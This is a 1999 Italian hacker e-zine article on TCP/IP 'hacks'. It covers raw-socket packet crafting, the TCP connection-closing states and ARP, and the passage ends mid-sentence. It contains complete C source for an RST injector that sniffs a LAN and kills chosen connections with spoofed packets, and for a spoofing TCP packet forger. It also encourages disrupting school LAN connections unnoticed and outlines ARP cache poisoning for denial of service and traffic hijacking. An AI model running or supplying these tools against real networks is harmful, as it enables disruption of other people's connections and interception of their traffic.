==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

--------------------[ TCP/iP HACKS F0R PHUN AND PR0FiT ]----------------------
-----------------------[ da: TCP/iP T00LS UNLiMiTED  ]------------------------
----------------------------------[ FuSyS ]-----------------------------------

NO(C)1999 FuSyS
		
#############################################################################
DISCLAIMER
Se qualcuno si sta ormai chiedendo che diavolo siano questi benedetti TCP/IP
Tools Unlimited da cui traggo articoli e codici... beh, NON si tratta di
un libro ordinabile da Amazon :) e no, non e' neanche un phile di testo.
Non e' un manuale tecnico ne' materiale trafugato da una telco. Ma se
ancora non ci aveste pensato, bastera' che raccogliate tutti i numeri di
BFi e potrete avere il grosso di questi miei scritti tutto per voi :)
In arrivo col numero 7 di BFi un pratico raccoglitore cartonato!
#############################################################################

URL del numero:     http://www.iinet.net.au/~bofh/index.html 
Se non avete mai letto gli aneddoti di Simon, BOfH per eccellenza, allora
non avete il diritto di continuare a leggere BFi :P
Ah, per chi non lo sapesse, BOfH sta per Bastard Operator fROM Hell :)))

Ok bando alla perdita di tempo.
Quello che avete tra le mani (no, non PgDn o ^[[B) e' un testo su alcuni
aspetti del set di protocolli TCP/IP che possano esserci utili in una
rete. Per rete questa volta non intendo necessariamente InterNet, quanto
anche una piccola LAN, magari quella della scuola, dell'ufficio, di camera
vostra o della vostra CON(vention) preferita.

Per hacks intendo piccoli usi e variazioni sul tema in maniera abile e
giocosa piu' che diretti ad un preciso fine. Se vi state chiedendo se si
possa usare con questa accezione, beh, si puo'. Lo dice il jargon :) 

Requisiti: conoscenza di base di TCP/IP ['di base' non vuol dire 'nulla']

T C P / I P

In alcuni dei miei articoli ho gia' presentato alcune caratteristiche di
questo set di protocolli. Ho mostrato gli header ed alcune librerie usate
per la programmazione a basso livello. Si', perche' non possiamo o dobbiamo
assolutamente accontentarci di usare le normali chiamate delle API BSD
socket per manipolare le connessioni e le macchine intorno a noi. Ne'
possiamo fidarci del kernel perche' agisca come vorremmo noi :) ....
Come abbiamo visto nella prima parte del progetto 0N0S3NDAi abbiamo la
possibilita' di creare i nostri pacchetti IP ed inserirli nel normale
flusso della comunicazione gestito dal kernel. Cosi' possiamo forgiare
pacchetti con indirizzi spoofati, possiamo manipolare connessioni ed
intercettare dati.

Questo e' alla base anche di questo articolo. Per prima cosa quindi vi
mostro come creare un semplice pacchetto IP. No, non un vero e proprio
programma quanto una specie di HOWTO.

Abbiamo per prima cosa bisogno di un po' di memoria, di un buffer. Quello
che potete facilmente vedere spulciando nei sorgenti del kernel di linux o
di un BSD, e' come il sistema gestisca le comunicazioni usando dei buffer
che vengono manipolati man mano che si passa da uno strato all'altro del
set di protocolli [in un prossimo articolo vedremo tutto il passaggio
dalla scheda di rete all'applicazione e viceversa nel nuovo kernel di
linux, il 2.2]. Questi buffer, chiamati sk_buff sotto linux e mbuf sotto
BSD4.4, servono per contenere gli header ed i dati dei pacchetti IP (ma 
non solo) che vengono poi trasmessi dalle varie interfacce di rete del
sistema. Si', anche via modem avete un'interfaccia di rete. E' proprio
quella che attraverso SLIP/PPP ed il modem comunica con il gateway del
vostro ISP.

Quindi, non usando il kernel per i nostri pacchetti non possiamo avere un
buffer di questo tipo. Ci accontenteremo :) di un semplice array di
char. Per l'uso che ne faremo possono bastare array di non piu' di 1500,
2500 byte. Ovviamente sta poi a voi ed all'uso che ne farete, ed alla
implementazione dei vostri tool, la specifica delle dimensioni dei
suddetti array. Infatti il kernel sara' comunque in grado di frammentare
per noi tali pacchetti a seconda del MTU della interfaccia di rete. 

char buffer[1500];

Ho gia' parlato delle strutture dati ip, udp, tcp e icmp... basta che vi
spulciate ben bene la dir /usr/include/netinet/ alla ricerca di quel che
fa per voi. In questo caso, creando un semplice pacchetto IP useremo solo
<netinet/ip.h> :

struct iphdr *ip;

Perche' un puntatore a questa struttura? [sorry, ma non saro' io qui a
dirvi cosa sia un puntatore]. Semplice. Perche' useremo il puntatore come
foglio di carta velina da 'apporre' al nostro buffer per riempirlo come si
deve.

Dobbiamo pero' anche comunicare al kernel che abbiamo intenzione di creare
noi i nostri pacchetti, quindi la chiamata di socket(2) usera' come type
SOCK_RAW e come protocol IPPROTO_RAW. Dovremo anche comunicare la nostra
intenzione di manipolare direttamente l'header di IP. Quindi useremo
setsockopt(2), utilizzando IPPROTO_IP come level e IP_HDRINCL come
optname. Mi raccomando di controllare sempre le pagine man dei comandi e
funzioni che nomino.

A questo punto posso tranquillamente apporre il mio puntatore al mio buffer:

ip = (struct iphdr*) buffer;

Cosi' facendo avro' la possibilita' di manipolare il buffer come farebbe
(non proprio :) il kernel all'atto della creazione di un pacchetto:

ip->ihl = 5;
ip->version = 4;
/* ip->tos */
ip->tot_len = htons(sizeof(ip));
ip->id = 0;
ip->frag_off = 0;
ip->ttl = htons(255);
ip->protocol = IPPROTO_IP;
/* ip->check */
ip->saddr = inet_addr("1.1.1.1");
ip->daddr = inet_addr("2.2.2.2");

Alcuni parametri li ho saltati in quanto il kernel provvedera' lui stesso,
all'atto della trasmissione, a completare l'header di IP. A questo punto
posso inviare il tutto mediante una semplice chiamata sendto(2) dopo aver
ovviamente riempito anche una struttura di tipo sockaddr_in con il tipo di
protocollo (AF_INET), l'indirizzo del destinatario, ed il numero di porta
nel caso di TCP o UDP (0 negli altri).

Questo metodo e' quello utilizzato spessissimo, se non quasi sempre, in
moltissimi codici e tools di ogni genere in cui ci sia bisogno di
manipolare a basso livello TCP/IP. Ovviamente creare un pacchetto e
portare avanti connessioni, attacchi o difese non e' la stessa cosa. Ma
senza sapere come forgiare pacchetti, sara' dura fare il resto :)
Ora che questa e' fatta, passiamo ai TCP/IP hacks di questo articolo.

D I S T R U Z I O N E   C O N N E S S I O N I   T C P / I P

Nello scorso numero di BFi vi ho mostrato come avviene l'inizio di una
connessione TCP, ovvero mediante il 3-way handshake. In questo articolo
invece vi mostrero' come le connessioni vengono chiuse.

Vi sono essenzialmente due modi che si rifanno a due delle flag TCP: FIN e
RST.

Il primo metodo e' quello speculare del 3-way, senonche' servono 4
passaggi e non solo 3. Questo metodo e' quello del cosiddetto HALF-CLOSE.
Se infatti consideriamo la connessione TCP come full-duplex, possiamo
facilmente capire che entrambe le parti in causa debbano chiudere la loro
trasmissione. Per far questo si usa la flag FIN, di norma inviata quando
l'applicazione ha chiamato la chiusura del socket. La ricezione di un FIN
non vuol quindi dire che la connessione sia ultimata, quanto che e' stata
chiusa dalla parte che l'ha trasmessa. Per questo prende il nome di
half-close.

In pratica una parte invia un pacchetto TCP con la flag FIN, con o senza
trasmissione di ultimi dati mediante PSH. Il peer, risponde con un ack del
seq+1 ed invia a sua volta un pacchetto con i suoi ultimi dati (o no,
appena la trasmissione e' finita) e la flag FIN, che verra' riconosciuta
con un ack dalla prima parte che ha avviato la chiusura. Al solito un
diagramma aiutera', spero, la comprensione.

    --------------------------------------------------------
    |                                                      |
    |            -----------  FIN  ----------->            |
    |            <------  ACK (SEQ+1) ---------            |
    |	 CLIENT		 ( HALF-CLOSE )         SERVER     |
    |            <----------  FIN  ------------            |
    |            -------  ACK (SEQ+1) ---------            |
    |							   |
    --------------------------------------------------------


Durante il periodo half-close, il server potrebbe benissimo continuare a
trasmettere dati, anche se quasi nessuna delle applicazioni TCP utilizzi
questa possibilita'. Da RFC infatti, l'invio di una FIN comunica la fine
della trasmissione e NON la fine della possibilita' di ulteriore ricezione.

Gia' che siamo in argomento tanto vale aggiungere qui la spiegazione degli
stati di transizione di TCP. Avete presente quando utilizzate netstat(8) ?
Quei termini alla fine della riga, tipo ESTABLISHED, SYN_SENT...?
Alcuni sono abbastanza intuitivi, ma quelli piu' particolari hanno
effettivamente a che vedere con la chiusura mediante flag FIN.

Immaginate che io invii un pacchetto con FIN, passo nello stato FIN_WAIT_1
mentre la connessione, vista dal mio peer, passa in CLOSE_WAIT dopo avermi
inviato un ack. Se a questo punto ho ricevuto, invece dell'ack solo FIN
allora passo nello stato CLOSING, altrimenti in FIN_WAIT_2. Se ricevo sia
FIN che ack allora passo in TIME_WAIT in attesa che termini il doppio del
Maximum Segment Lifetime o 2MSL. Invece il mio peer dallo stato close_wait
passa, dopo invio del suo FIN in LAST_ACK in attesa del mio ack per poter
poi tornare nello stato CLOSED.

Ora che avete il mal di mare forse e' meglio che guardiate il diagramma:

				  |-------------------------------------|
				CLOSED -----------			|
 				  |		 | s: SYN		|
				  |		 |			|
	r: SYN  s: SYN/ACK	  |		 |			|
	      ---------------- LISTEN	      SYN_SENT			|
	      |					 |			|
	      |					 | r: SYN/ACK		|
	      |				 	 | s: ACK		|
	   SYN_RCVD ------- ESTABLISHED ----------			|
		   r: ACK	/ \					|
			      /     \   r: FIN				|
			    /	      \ s: ACK				|
	       ---------- /		\------- CLOSE_WAIT		|
	s: FIN |				      |			|
	       |    r: FIN s: ACK		      | s: FIN		|
	 FIN_WAIT_1 ------------- CLOSING	      |			|
	     | \		     |		  LAST_ACK -------------|
      r: ACK |	 \   r: FIN/ACK	     | r: ACK				|
	     |	   \ s: ACK	     |					|
	 FIN_WAIT_2  \ ---------- TIM_WAIT -----------------------------|

s: sends	r: receives

Ok, OK, non e' in postscript e non e' neanche un amore. Se ne volete uno
serio avete la possibilita' di scaricarlo dalla home page di Stevens,
l'autore di TCP/IP Illustrated. Dirigetevi su www.kohala.com .....

Tornando alla chiusura di connessioni TCP ho nominato anche la flag RST.
In generale, questa flag serve per i reset. Questi vengono inviati da TCP
ogni volta che un segmento o pacchetto non sembri corretto per la connessione
cui si riferisce. Ad esempio un reset viene inviato ogni qual volta arrivi
una richiesta di connessione ad una porta su cui non sia in ascolto alcun
processo.

Ad ogni modo la flag RST permette chiusure di tipo abortivo delle
connessioni in quanto: ogni dato che l'applicazione possa tenere in coda
viene scartato; ed il peer ha modo di capire che la connessione sia stata
abortita invece che chiusa. Comunque basta un solo pacchetto con flag RST.

    --------------------------------------------------------
    |                                                      |
    |    CLIENT  ------------ RST ------------> SERVER     |
    |                                                      |
    --------------------------------------------------------

Se avete digerito tutto fin qui vi starete chiedendo: "si' vabbe, ma che ci
faccio con 'sta roba ?!". Domanda legittima :) ma dovreste gia' esserci
arrivati. Se siete a scuola, ufficio o in altre occasioni in cui abbiate
accesso ad una rete locale, avrete la possibilita' di chiudere le
connessioni a vostro piacimento, decidendo di farlo in base a vari
parametri della connessione, come le porte, gli indirizzi IP, la quantita'
di dati trasmessi... ovviamente senza dover riconfigurare firewalls,
router od ogni altro segmento/processo di rete che possa insospettire gli
operatori BOfH :) [nel senso che loro gia' lo fanno e vogliono una loro
esclusiva...].

Se avete mai usato sniffit avrete anche visto il plugin Touch of Death che
permette di distruggere le connessioni. Cosa fa?

In pratica si tratta di sedere allegramente nella rete, avendo accesso al
livello di datalink; fatelo come preferite, con libpcap, SOCK_PACKET, bpf,
/dev/tap etc etc etc. A questo punto quando passa una richiesta di connessione
che non volete permettere, potete spacciarvi per il server remoto utilizzando
la flag RST, facendo credere che la porta remota non sia attiva.
Con questo metodo potete anche abortire connessioni in corso o chiuderle
dolcemente avviando, ad insaputa dell'host cui fate lo sgambetto, la
chiusura mediante FIN e portando avanti, col vostro codice, il conteggio
degli ack.

Con questo potrete divertirvi nella LAN della scuola, sempre che abbiate
accesso di superutente o possiate portarvi il vostro bel laptop con linux
sopra. Oppure potrete controllare, in mancanza di un buon firewall, gli
accessi ad host non permessi sulla vostra LAN.

Ora vi mostro il codice necessario. In pratica dovete semplicemente
crearvi una regola di uso, come per un firewall, confermata la quale,
creiate uno o piu' pacchetti con flag RST o FIN da parte del peer
lanciandoli all'host che ha richiesto i dati. Semplice IP SPOOFING vedente
quindi. Il codice accluso e' solo esplicativo. Non e' un gran che come
programma, ma fa quel che deve. Dovrebbe essere migliorato. Lo lascio a
voi. Sto gia' lavorando a TH0T :) non posso fare tutto io...

---------- snip ----------
/************************************************************************
*									*
* RST.c				Codice di accompagnamento a parte	*
*				dell'articolo "TCP/IP Hacks for Phun	*
*				and Profit" su BFi5. Puoi trovare BFi	*
*				all'URL http://softpj98.bbk.org/bfi/	*
*									*
*				RST Storm per distruggere link TCP	*
*				Forza Bruta. Non stile :) . Lo stile	*
*				dovete aggiungerlo voi. Questo e' solo	*
*				codice esplicativo, non supremo.	*
*									*
* 				(C)1999 FuSyS TCP/IP Tools Unlimited	*
************************************************************************/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#include <net/if.h>
#include <ioctls.h>

#define RSTS		10
#define IF		"eth0"

int sp_fd;

unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) {
        unsigned long sum;

        __asm__ __volatile__("
            movl (%1), %0
            subl $4, %2
            jbe 2f
            addl 4(%1), %0
            adcl 8(%1), %0
            adcl 12(%1), %0
1:          adcl 16(%1), %0
            lea 4(%1), %1
            decl %2
            jne 1b
            adcl $0, %0
            movl %0, %2
            shrl $16, %0
            addw %w2, %w0
            adcl $0, %0
            notl %0
2:
 	    "
        : "=r" (sum), "=r" (iph), "=r" (ihl)
        : "1" (iph), "2" (ihl));
        return(sum);
}

struct tcppk {                         
        struct iphdr ip;
        struct tcphdr tcp;
        char data[1500];
};

struct pseudo {
	unsigned long saddr, daddr;
	unsigned char zero, proto;
	unsigned short len;
};

void raw(void)
{
    int opt=1;

    if((sp_fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0){
        perror("\nRAWIP() RAW Socket problems [Died]");
        exit();
    }
    if(setsockopt(sp_fd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)) <0){
            perror("RAWIP() Cannot set IP_HDRINCL [Died]");
            exit();
    }

}

int tap(char* device,int mode)
{
    int fd;
    struct ifreq ifr;

    if((fd=socket(AF_INET, SOCK_PACKET, htons(0x3))) <0){
        perror("SNIFF() SOCK_PACKET allocation problems [Died]");
        exit();
    }

    strcpy(ifr.ifr_name,device);
    if((ioctl(fd, SIOCGIFFLAGS, &ifr)) <0){    
        perror("SNIFF() Can't get device flags [Died]");
        close(fd);
        exit();
    }

    if(!mode)ifr.ifr_flags ^= IFF_PROMISC;
    else ifr.ifr_flags |= IFF_PROMISC;
    if((ioctl(fd, SIOCSIFFLAGS, &ifr)) <0){
        perror("SNIFF() Can't set/unset promiscuous mode [Died]");
        close(fd);
        exit();
    }

    if(!mode){
        close(fd);
        return(0);
    }
    else return(fd);
}

unsigned long in_aton(const char *str)
{
        unsigned long l;
        unsigned long val;
        int i;

        l = 0;
        for (i = 0; i < 4; i++)
        {
           l <<= 8;
           if (*str != '\0')
           {
               val = 0;
               while (*str != '\0' && *str != '.')
               {
                        val *= 10;
                        val += *str - '0';
                                str++;
                        }
                        l |= val;
                        if (*str != '\0')
                                str++;
                }
        }
        return(htonl(l));
}

void uff(void) {
	printf("\nUso: RST sourceIP src_port destIP dest_port\n\n");
	exit(1);
}

int main(int argc, char **argv) {

	unsigned char buffer[1500], checkbuff[32], checkbuff2[32];
	struct sockaddr_in sin, sin2;
	struct iphdr *ip;
	struct tcphdr *tcp;
	struct pseudo *psp, *psp2;
	struct tcppk tpk, tpk2;
	int sniff, snt, snt2, rst=0;
	unsigned long saddr, daddr;
	unsigned short src, dest;

	if(argc<5) {
		uff();
		exit(1);
	}
	saddr=in_aton(argv[1]);daddr=in_aton(argv[3]);
	src=htons(atoi(argv[2]));dest=htons(atoi(argv[4]));

	sniff=tap(IF, 1);
	raw();

	if(setpriority(0, 0, -20) <0){
                printf("\nRST setpriority Error\n");
        }

        ip = (struct iphdr *)(((char *)buffer)+14);
        tcp = (struct tcphdr *)(((char *)buffer)+(sizeof(struct iphdr)+14));
        psp = (struct pseudo *)checkbuff;
	psp2 = (struct pseudo *)checkbuff2;

	memset(&sin, 0, sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=src;
        sin.sin_addr.s_addr=saddr;
	memset(&sin2, 0, sizeof(sin2));
	sin.sin_family=AF_INET;
        sin.sin_port=dest;
        sin.sin_addr.s_addr=daddr;

        memset(&tpk, 0, sizeof(tpk));
	memset(&tpk2, 0, sizeof(tpk2));
	memset(psp, 0, sizeof(struct pseudo));
	memset(psp2, 0, sizeof(struct pseudo));	

        tpk.ip.ihl=5;
        tpk.ip.version=4;
        tpk.ip.tos=0;
        tpk.ip.tot_len=htons(40);
        tpk.ip.frag_off=0;
        tpk.ip.ttl=64;
        tpk.ip.protocol=IPPROTO_TCP;
        tpk.ip.saddr=daddr;
        tpk.ip.daddr=saddr;
        tpk.tcp.source=dest;
        tpk.tcp.dest=src;
        tpk.tcp.doff=5;
        tpk.tcp.rst=1;
        tpk.tcp.ack=1;
        tpk.tcp.window=0;
        psp->saddr=tpk.ip.daddr;
        psp->daddr=tpk.ip.saddr;
        psp->zero=0;
        psp->proto=IPPROTO_TCP;
        psp->len=htons(20);
	tpk2=tpk;
	tpk2.ip.saddr=saddr;
	tpk2.ip.daddr=daddr;
	tpk2.tcp.source=src;
	tpk2.tcp.dest=dest;
	psp2->saddr=tpk.ip.saddr;
        psp2->daddr=tpk.ip.daddr;
        psp2->zero=0;
        psp2->proto=IPPROTO_TCP;
        psp2->len=htons(20);

        printf("RSTing :\t%s:%d > %s:%d\n",
                argv[1], src, argv[3], dest);
        while(read(sniff, &buffer, sizeof(buffer))) {
                if(ip->saddr==daddr &&
                   ip->daddr==saddr &&
                        tcp->source==dest &&
                        tcp->dest==src) {
			tpk.tcp.seq=tcp->seq+htonl(
                        	ntohs(ip->tot_len)-40);
                        tpk.tcp.ack_seq=tcp->ack_seq;
			tpk2.tcp.seq=tcp->ack_seq;
			tpk2.tcp.ack_seq=tcp->seq+htonl(
                                ntohs(ip->tot_len)-40);
                        memcpy(checkbuff+12, &tpk.tcp, 20);
                        tpk.tcp.check=ip_fast_csum(
                                (unsigned char *)checkbuff,32);
			memcpy(checkbuff2+12, &tpk2.tcp, 20);
                        tpk2.tcp.check=ip_fast_csum(
                                (unsigned char *)checkbuff2,32);
                          for(; rst<RSTS; rst++) {
				snt2=sendto(sp_fd, &tpk2, 40, 0,
				(struct sockaddr *)&sin2, sizeof(sin2));
                                snt=sendto(sp_fd, &tpk, 40, 0,
                                (struct sockaddr *)&sin, sizeof(sin));
                                if(snt<0)printf("[SP00F_ERROR]");
				else printf("[RST]");
                          }
			  break;
                }
        }
	printf("\n");
	tap(IF, 0);
	exit(0);
}
---------- snip ----------

S P 0 0 F E R  T C P 

Oltre a RST quello che vi lascio e' un codice per creare pacchetti IP+TCP.
Un forger TCP quindi. Potete specificare gli indirizzi IP, le porte ed
anche le flag TCP da inserire. Puo' essere molto utile per testare i
vostri firewall e router ed anche per cominciare a capire come fare a
programmare questi gingilli.

PERO'...

Pero' non ho usato il metodo normale che ho spiegato prima per creare
pacchetti, bensi' un altro. Uguale eppure molto diverso. Non solo nella
stesura del codice :P come penserete subito, ma anche nel metodo. Se
capirete quello, avrete in mano la chiave di lettura di molti exploit che
ci sono in giro :) ... tenete sempre un occhio al vostro libro/doc preferito
su TCP/IP.

Intanto ecco il codice:

---------- snip ----------
/************************************************************************
*									*
* ORODRUIN.c			Il Monte del Fato, la forgia entro cui	*
*				l' Uno e' stato creato, nella terra di	*
*				Mordor, dove l'ombra nera attende.	*
*									*
*				    Uno Spoof per regnarli,		*
*					Uno Spoof per trovarli, 	*
*				Uno Spoof per ghermirli, e nel buio	*
*				 incatenarli, nella terra di Redmond	*
*					dove il nero hacker attende ... *
*									*
* 				(C)1999 FuSyS TCP/IP Tools Unlimited	*
************************************************************************/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <time.h>

unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) {
        unsigned long sum;

        __asm__ __volatile__("
            movl (%1), %0
            subl $4, %2
            jbe 2f
            addl 4(%1), %0
            adcl 8(%1), %0
            adcl 12(%1), %0
1:          adcl 16(%1), %0
            lea 4(%1), %1
            decl %2
            jne 1b
            adcl $0, %0
            movl %0, %2
            shrl $16, %0
            addw %w2, %w0
            adcl $0, %0
            notl %0
2:
 	    "
        : "=r" (sum), "=r" (iph), "=r" (ihl)
        : "1" (iph), "2" (ihl));
        return(sum);
}

struct pseudo {
	unsigned long saddr, daddr;
	unsigned char zero, proto;
	unsigned short len;
};

unsigned long in_aton(const char *str)
{
        unsigned long l;
        unsigned long val;
        int i;

        l = 0;
        for (i = 0; i < 4; i++)
        {
           l <<= 8;
           if (*str != '\0')
           {
               val = 0;
               while (*str != '\0' && *str != '.')
               {
                        val *= 10;
                        val += *str - '0';
                                str++;
                        }
                        l |= val;
                        if (*str != '\0')
                                str++;
                }
        }
        return(htonl(l));
}

void uff(void) {
	printf("\nUso: Orodruin sourceIP destIP ");
	printf("[-h -s -d -n -F -S -R -P -A -U]\n");
	printf("        -h       questa litania di Angmar ...\n");
	printf("	-s porta l' origine dell' Uno\n");
	printf("        -d porta la destinazione dell' Uno\n");
	printf("        -n x     il numero delle creazioni\n");
	printf("        -FSRPAU  le bandiere dell'Uno\n\n");
	exit(1);
}
int main(int argc, char **argv) {

	unsigned char pkt[1500], *x0F, b, flags=0;
	struct sockaddr_in sin;
	struct pseudo psp;
	int fd, fdo, ln, i, snt, opt, hz=1, os=0, od=0;
	unsigned long saddr, daddr;
	unsigned short src=0, dest=0;

	if(argc<3) {
		uff();
		exit(1);
	}

	saddr=in_aton(argv[1]);daddr=in_aton(argv[2]);

	while ((opt = getopt(argc, (char**)argv, "hs:d:n:FSRPAU")) != EOF )
        {
                switch(opt)
                {
			case 'h':
			uff();
			exit(0);
			break;

			case 's':
			src=(unsigned short)atoi(optarg);
			os++;
			break;

			case 'd':
			dest=(unsigned short)atoi(optarg);
			od++;
			break;
	
			case 'n':
                        hz=atoi(optarg);
                        break;
		
			case 'F':
			flags|=0x01;
			break;

			case 'S':
                        flags|=0x02;
                        break;

			case 'R':
                        flags|=0x04;
                        break;

			case 'P':
                        flags|=0x08;
                        break;

			case 'A':
                        flags|=0x10;
                        break;

			case 'U':
                        flags|=0x20;
                        break;

			default:
			break;
		}
	}
	if((fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
		fprintf(stderr, "\nSOCK_RAW Died\n");
		exit(2);
	}
	fdo=1;
	if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &fdo, sizeof(fdo))<0) {
		fprintf(stderr, "\nHDRINCL Died\n");
		exit(3);
	}
	srand(time(NULL));
	printf("\n\033[1;34m----] \033[1;32mO R O D R U I N\033[0m");
        printf("\033[1;34m [----\033[0m");
        printf("\n\033[1;34m    TCP Forger by FuSyS\033[0m");
        printf("\n\033[1;34m   TCP/IP Tools Unlimited\033[0m");
        printf("\n\033[1;34m------------][-------------\033[0m\n\n");


     /* Magia Nera Del Re Stregone di Minas Morgul, Signore Dei Nazgul */

while(hz){if(!os)src=1024+(rand()%2000);if(!od)dest=rand()%2000;if(flags==0)
flags|=0x20|0x08;sin.sin_family=AF_INET;sin.sin_addr.s_addr=daddr;sin.sin_port=
dest;ln=sizeof(sin);x0F=pkt;memset((unsigned char*)x0F,0,1500);psp.saddr=saddr;
psp.daddr =daddr;psp.len=htons(20);psp.zero=0;psp.proto=6;b=0x45;memcpy(x0F,&b,
sizeof(unsigned char));x0F+=2;*((unsigned short*)x0F)=htons(40);x0F+=2;*((
unsigned short*)x0F)=0xFFFF;x0F+=2;*(( unsigned short*)x0F)=0x0000;x0F+=2;*((
unsigned char*)x0F)=0xFF;x0F+=1;b=6;memcpy(x0F,&b,sizeof(unsigned char));x0F+=3
;*((unsigned long*)x0F)=saddr;x0F+=4;*((unsigned long*)x0F)=daddr;x0F+=4;*((
unsigned short*)x0F)=htons(src);x0F+=2;*((unsigned short*)x0F)=htons(dest);x0F
+=2;*((unsigned long*)x0F)=htonl(rand());x0F+=4;*((unsigned long*)x0F)=htonl(
rand());x0F+=4;b=0x50;memcpy(x0F,&b,sizeof(unsigned char));x0F+=1;memcpy(x0F,
&flags,sizeof(unsigned short));x0F+=1;*((unsigned short*)x0F)=htons(1024);x0F+=
2;*((unsigned short*)x0F)=ip_fast_csum((unsigned char*)&psp,32);snt=sendto(fd,
pkt,40,0,(struct sockaddr*)&sin,ln);hz--;}

	exit(1);
}
---------- snip ----------

Oltre alla forma c'e' un particolare di grande importanza: il calcolo del
checksum relativo a TCP. Questo non e' semplice come per l'header IP, UDP
e ICMP, ma c'e' bisogno di una struttura particolare che contenga IP
sorgente e destinazione, le porte TCP, un char uguale a zero per padding e
la quantita' di dati trasmessa con l'header TCP. Ricordatevelo quando
creerete uno spoofer TCP.

P R O T O C O L L O   A R P
Address Resolution Protocol

Gli indirizzi IP, non dimentichiamolo, hanno un senso solo per lo stack
TCP/IP di una macchina. Ma ad un livello piu' basso come quello ethernet
per esempio, con un suo sistema proprietario di indirizzamento, non
servono a molto. Gli indirizzi IPv4 sono a 32bit, mentre quelli ethernet
sono a 48bit. Come fanno quindi i pacchetti a transitare da una macchina
all'altra, di rete in rete, solo con gli indirizzi IP?

Semplice. Esiste una cache che gestisce le conversioni, o meglio gli
appaiamenti IP/ethernet, host per host. Questa e' la cache ARP. Essa viene
gestita mediante un protocollo di interrogazione che permette alle
macchine di una rete di conoscere l'indirizzo hardware a partire da quello
IP. Potete trovare la specifica ARP nel RFC 826. Esiste anche un
protocollo inverso per macchine non dotate di disco, che debbano fare il
boot da un server in rete, e necessitino di conoscere il loro indirizzo
IP. Questo protocollo e' RARP, o Reverse ARP.

Il pacchetto ARP e' particolare rispetto a quelli visti fin ora nei miei
vari articoli, in quanto NON si basa su IP. Come potrebbe dal momento che
non posso raggiungere un altro host, anche conoscendo il suo IP, se non
conosco il suo indirizzo hardware? Dobbiamo capire che un conto e' il
routing IP, un conto la modalita' di trasferimento lungo la LAN da una
scheda ethernet ad un'altra.

Vediamo il pacchetto ARP tipo:

     6          6         2    2    2    1  1  2    6      4      6      4 
------------------------------------------------------------------------------
| ETHERNET | ETHERNET | FRAME|HARD|PROT|HW|PR| OP|SENDER|SENDER|TARGET|TARGET|
|   SRC    |   DEST   | TYPE |TYPE|TYPE|SZ|SZ|   |  ETH |  IP  |  ETH | IP   |
------------------------------------------------------------------------------

I primi due campi sono gli indirizzi ethernet sorgente e destinazione del
pacchetto. Poi vengono due byte che specificano il tipo di dati che segue.
Per le richieste o le risposte ARP e' uguale a 0x806 .

Hardware type specifica il tipo di hardware cui si riferiscono le operazioni
richieste dal pacchetto ARP. Per ethernet e' uguale a 1.
Il protocol type specifica il protocollo che viene usato come paragone. Per
IP e' 0x800.

Vengono poi due byte per specificare le dimensioni degli indirizzi hardware e
del protocollo. 6 per indirizzi ethernet e 4 per quelli IP.

OP specifica il tipo di operazione ARP. 1 per richieste ARP, 2 per
risposte ARP, 3 per richieste RARP e 4 per le risposte RARP.

Seguono poi gli indirizzi ethernet ed IP del sorgente e del destinatario.

Tutti i valori possibili sono contenuti nell'header if_arp.h e ethernet.h
nella dir /usr/include/net/

Quando ci colleghiamo ad una macchina nella nostra LAN, lo stack TCP/IP
richiede mediante query ARP quale sia l'indirizzo hardware della macchina
che ha come IP quello che il DNS (o una tabella statica come /etc/hosts) ci
ha comunicato:

BFi $ telnet BFIhome
Trying 192.168.1.7...
Connected to BFihome.
Escape character is '^]'.

dietro le quinte possiamo vedere con tcpdump la richiesta ARP:

15:13:29.181972 arp who-has BFihome tell BFi
15:13:30.176932 arp reply BFihome is-at 0:0:c0:1e:6f:26

Ecco che l'host interpellato risponde con il suo indirizzo a 48bit, dopodiche'
la comunicazione TCP avviene normalmente.

Ma, vi chiederete, com'e' possibile che BFihome abbia ricevuto la
richiesta ARP se BFi non sapeva quale fosse l'indirizzo ethernet cui inviare
il pacchetto? E' effettivamente questo il punto. Semplice.
L'indirizzo ethernet specificato come destinatario e' ff:ff:ff:ff:ff:ff
ovvero l'indirizzo di BROADCAST, in modo che tutte le macchine possano
saggiare il pacchetto e decidere cosa farne. A quel punto il layer ethernet
preleva il pacchetto, capisce dal frame type uguale a 0x806 che si tratta di
operazioni ARP, quindi il sottosistema ARP controlla l'indirizzo IP oggetto
della query. Se corrisponde a quello della scheda di rete della macchina,
allora dara' il via ad una risposta ARP.

Ora il primo hack per ARP :)
Abbiamo visto come prima sia stato possibile distruggere connessioni TCP
molto facilmente in una LAN. Ora pensate ad una cosa. Quello che possiamo
fare con ARP e' potentissimo. Possiamo inviare risposte ARP per conto di
altri host, specificando un diverso indirizzo ethernet per creare due tipi
di attacco. Un DoS ed un hijack.

Per il DoS e' semplicissimo. Si tratta di specificare un indirizzo a 48bit
inesistente nella LAN, in modo che i pacchetti vadano nel vuoto piu'
assoluto. Non sarebbero piu' possibili connessioni di alcun genere.

Per l'hijack invece si tratta di specificare il nostro indirizzo! Con questo
potremmo redirigere il flusso della connessione al nostro host.
Beh, vi chiederete, a che pro farlo rispetto al semplice sniffer?
Manipolando le cache ARP possiamo ridirottare il traffico di host oltre a
switch locali in modo da ottenere flussi di dati di macchine normalmente
al di la' della portata del nostro sniffer.

Ora ci sono due problemi: come inviare pacchetti ARP e quando farlo. Beh,
il primo problema e' facilmente risolvibile. Sotto linux esiste un accesso
mediante chiamata socket(2) che permette di raggiungere il livello datalink,
il livello hardware. SOCK_PACKET viene comunemente usato per sniffare
sulla LAN. Ma puo' essere utilizzato anche per inviare pacchetti comprensivi
di header hardware. Bisogna pero' ricordare che in questo caso il kernel
